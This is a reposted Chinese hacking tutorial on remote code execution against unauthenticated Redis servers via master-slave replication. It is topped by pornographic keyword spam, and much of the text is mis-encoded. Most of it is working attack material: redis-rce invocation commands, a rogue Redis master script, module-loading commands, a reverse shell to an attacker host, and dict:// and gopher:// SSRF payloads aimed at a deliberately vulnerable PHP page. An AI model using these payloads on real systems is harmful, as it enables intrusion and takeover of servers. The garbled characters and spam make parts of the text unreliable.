日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 运维知识 > 数据库 >内容正文

数据库

完全复制一个dict_Redis主从复制getshell技巧

發(fā)布時(shí)間:2023/12/3 数据库 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 完全复制一个dict_Redis主从复制getshell技巧 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

Redis未授權(quán)漏洞常見(jiàn)的漏洞利用方式:

  • Windows下,絕對(duì)路徑寫(xiě)webshell 、寫(xiě)入啟動(dòng)項(xiàng)。

  • Linux下,絕對(duì)路徑寫(xiě)webshell 、公私鑰認(rèn)證獲取root權(quán)限 ?、利用contrab計(jì)劃任務(wù)反彈shell。

基于Redis主從復(fù)制的機(jī)制,可以完美無(wú)損的將文件同步到從節(jié)點(diǎn)。這就使得它可以輕易實(shí)現(xiàn)以上任何一種漏洞利用方式,而且存在著更多的可能性等待被探索。


一、Redis 主從復(fù)制一鍵自動(dòng)化RCE

在Reids 4.x之后,Redis新增了模塊功能,通過(guò)外部拓展,可以實(shí)現(xiàn)在Redis中實(shí)現(xiàn)一個(gè)新的Redis命令,通過(guò)寫(xiě)C語(yǔ)言編譯并加載惡意的.so文件,達(dá)到代碼執(zhí)行的目的。

通過(guò)腳本實(shí)現(xiàn)一鍵自動(dòng)化getshell:

1、生成惡意.so文件,下載RedisModules-ExecuteCommand使用make編譯即可生成。

git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommandcd RedisModules-ExecuteCommand/make

2、攻擊端執(zhí)行:python redis-rce.py -r 目標(biāo)ip-p 目標(biāo)端口 -L 本地ip -f 惡意.so

git clone https://github.com/Ridter/redis-rce.gitcd redis-rce/cp ../RedisModules-ExecuteCommand/src/module.so ./pip install -r requirements.txt python redis-rce.py -r 192.168.28.152 -p 6379 -L 192.168.28.137 -f module.so

二、Redis主從復(fù)制利用原理

首先,我們通過(guò)一個(gè)簡(jiǎn)單的測(cè)試,來(lái)熟悉一下slave和master的握手協(xié)議過(guò)程:

1、監(jiān)聽(tīng)本地1234端口

nc -lvvp 1234

2、將Redis服務(wù)器設(shè)置為從節(jié)點(diǎn)(slave)

slaveof 127.0.0.1 1234

3、使用nc模擬Redis主服務(wù)器,進(jìn)行模擬Redis主從交互過(guò)程(紅色部分為slave發(fā)送的命令):

以上,通過(guò)nc進(jìn)行模擬Redis主從復(fù)制的交互過(guò)程,同理,如果構(gòu)建模擬一個(gè)Redis服務(wù)器,利用Redis主從復(fù)制的機(jī)制,那么就可以通過(guò)FULLRESYNC將任意文件同步到從節(jié)點(diǎn)。

三、Redis主從復(fù)制手動(dòng)擋

手動(dòng)操作過(guò)程記錄:

1、編寫(xiě)腳本,構(gòu)造惡意Redis服務(wù)器,監(jiān)聽(tīng)本地端口1234,加載exp.so。

python RogueServer.py --lport 1234 --exp exp.so

2、通過(guò)未授權(quán)訪問(wèn)連入要攻擊的redis服務(wù)器。

執(zhí)行相關(guān)命令:

#設(shè)置redis的備份路徑為當(dāng)前目錄 config set dir ./#設(shè)置備份文件名為exp.so,默認(rèn)為dump.rdb config set dbfilename exp.so#設(shè)置主服務(wù)器IP和端口 slaveof 192.168.172.129 1234 #加載惡意模塊 module load ./exp.so#切斷主從,關(guān)閉復(fù)制功能 slaveof no one #執(zhí)行系統(tǒng)命令 system.exec 'whoami' system.rev 127.0.0.1 9999 #通過(guò)dump.rdb文件恢復(fù)數(shù)據(jù) config set dbfilename dump.rdb#刪除exp.so system.exec 'rm ./exp.so'#卸載system模塊的加載 module unload system

成功執(zhí)行系統(tǒng)命令:

四、SSRF+Redis 反彈shell

參照Redis手動(dòng)getshell的過(guò)程,可輕易實(shí)現(xiàn)SSRF+Redis反彈shell。

以curl為例,漏洞代碼為ssrf.php:

<?php $ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_GET['url']);#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_HEADER, 0);#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);curl_exec($ch);curl_close($ch);?>

環(huán)境準(zhǔn)備:

  • 模擬內(nèi)網(wǎng)未授權(quán)Redis服務(wù)器:192.168.172.131

  • 模擬攻擊者機(jī)器:192.168.172.129,在攻擊者機(jī)器上構(gòu)建惡意Redis服務(wù)器,同時(shí)監(jiān)聽(tīng)本地9999端口等待shell返回。

1、利用dict協(xié)議反彈shell

#查看當(dāng)前redis的相關(guān)配置ssrf.php?url=dict://192.168.172.131:6379/info#設(shè)置備份文件名ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so#連接惡意Redis服務(wù)器ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234#加載惡意模塊ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so#切斷主從復(fù)制ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one#執(zhí)行系統(tǒng)命令 ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999

2、利用gopher協(xié)議反彈shell

#設(shè)置文件名,連接惡意Redis服務(wù)器ssrf.php?url=gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit#加載exp.so,反彈shellssrf.php?url=gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit

3、利用這兩種協(xié)議,都可以成功反彈shell。

附:簡(jiǎn)單改寫(xiě)的模擬Redis服務(wù)端腳本

import socketfrom time import sleepfrom optparse import OptionParserdef RogueServer(lport): resp = "" sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(("0.0.0.0",lport)) sock.listen(10) conn,address = sock.accept() sleep(5) while True: data = conn.recv(1024) if "PING" in data: resp="+PONG"+CLRF conn.send(resp) elif "REPLCONF" in data: resp="+OK"+CLRF conn.send(resp) elif "PSYNC" in data or "SYNC" in data: resp = "+FULLRESYNC " + "Z"*40 + " 1" + CLRF resp += "$" + str(len(payload)) + CLRF resp = resp.encode() resp += payload + CLRF.encode() if type(resp) != bytes: resp =resp.encode() conn.send(resp) #elif "exit" in data: breakif __name__=="__main__": parser = OptionParser() parser.add_option("--lport", dest="lp", type="int",help="rogue server listen port, default 21000", default=21000,metavar="LOCAL_PORT") parser.add_option("-f","--exp", dest="exp", type="string",help="Redis Module to load, default exp.so", default="exp.so",metavar="EXP_FILE") (options , args )= parser.parse_args() lport = options.lp exp_filename = options.exp CLRF="\r\n" payload=open(exp_filename,"rb").read() print "Start listing on port: %s" %lport print "Load the payload: %s" %exp_filename ????RogueServer(lport)

總結(jié)

以上是生活随笔為你收集整理的完全复制一个dict_Redis主从复制getshell技巧的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。